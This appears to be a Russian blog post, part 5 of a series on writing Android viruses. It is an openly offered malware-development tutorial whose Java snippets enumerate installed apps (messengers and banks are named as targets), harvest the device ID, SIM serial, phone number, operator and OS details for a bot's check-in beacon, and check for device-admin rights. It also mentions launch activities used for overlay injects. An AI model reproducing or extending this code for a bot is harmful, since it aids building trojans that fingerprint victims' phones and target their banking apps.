Mobile

Как написать вирус для Андроид. Часть 5

Доброго времени суток, в предыдущих статьях мы рассмотрели основные моменты и теперь должны понять как вести себя внутри телефона. Для этого нужно знать: списки установленных приложений, месенджеров, банков и так далее.



Друг вокруг

Первым делом окинем взором окрестности, напишем простой и незамысловатый код:

PackageManager pm = cnt.getPackageManager();
List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA);
for (ApplicationInfo packageInfo : packages) {
   try{    
       //packageInfo.packageName
       //packageInfo.sourceDir
       //pm.getLaunchIntentForPackage(packageInfo.packageName)
   } catch (JSONException e) {

   }
}

packageInfo.packageName – это имя пакета
packageInfo.sourceDir – путь к корневой папке приложения
pm.getLaunchIntentForPackage (packageInfo.packageName) – имя запускаемой
Activity, очень важный параметр для инжектов, мы это опишем в дальнейших частях.

Этой информации будет достаточно, чтобы понять какие и где стоят приложения. Если рассмотреть класс packageInfo, там будет больше информации, но она не особо интересна. В реальном коде Try и JSONException использовать не обязательно.

Собираем информацию о системе

Создаем объект телефонного менеджера.

TelephonyManager tm = (TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);
tm.getDeviceId()

Возвращает ID устройства, который можно использовать в отстуке, так как это уникальное значение для каждого аппарата, которое нельзя изменить.

tm.getNetworkCountryIso()

Получаем страну устройства

tm.getSimOperatorName()

Получаем сотового оператора.

android.os.Build.VERSION.RELEASE

Очень важный параметр, вам придется его часто использовать. Почему? Некоторые фишки работают только для 2.х или 4.х телефонов. И нам придется разграничивать из вручную. Может быть так, что системная функция устарела, или изменила число параметров. В этом случае мы прибегаем к SDK и параметру.

Пример:

if(Build.VERSION.SDK_INT >= 19) {
//работаем с версией 4.х
}else{
//работаем с версией 2.х
}
android.os.Build.MODEL

Получаем модель устройства, важный параметр, ибо чем сложнее бот, тем больше приходится учитывать специфику разных прошивок.

tm.getLine1Number()

Параметр иногда возвращает номер телефона, иногда нет. Нужен для идентификации самого абонента. Так же по номеру можно узнавать город и оператора.

tm.getSimSerialNumber()

Серийный номер сим карты.

Будьте бдительны, последние два параметра указаны для телефонов с 1 сим-картой. Для двух, команды похожие, но это нужно контролировать.

Админ, ты где?

Рассмотрим проверку, есть ли у нас права администратора. Само получение оставим до следующих статей про закрепление.

DevicePolicyManager deviceManager = (DevicePolicyManager) context.getSystemService(context.DEVICE_POLICY_SERVICE);
ComponentName componentName = new ComponentName(context, CAdm.class);
if (!deviceManager.isAdminActive(componentName)) {
//нету админа
}else{
//есть админ
}

Приплыли

Это минимальный список параметров, которые мы должны обязательно обработать, чтобы правильно принимать решение в среде чужого телефона. Обычно их включают в отстук и они могут измениться. Поэтому проверяй-те их почаще.

Предыдущие материалы:

Как написать вирус для Андроид. Часть 4

Как написать вирус для Андроид. Часть 3

Как написать вирус для андроид. Часть 2

Как написать вирус для андроид.

Вирусы для андроид — Taidoor, IXESHE и СozyDuke

Click to rate this post!
[Total: 11 Average: 3]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

View Comments

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

12 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

1 год ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

1 год ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

1 год ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

1 год ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

1 год ago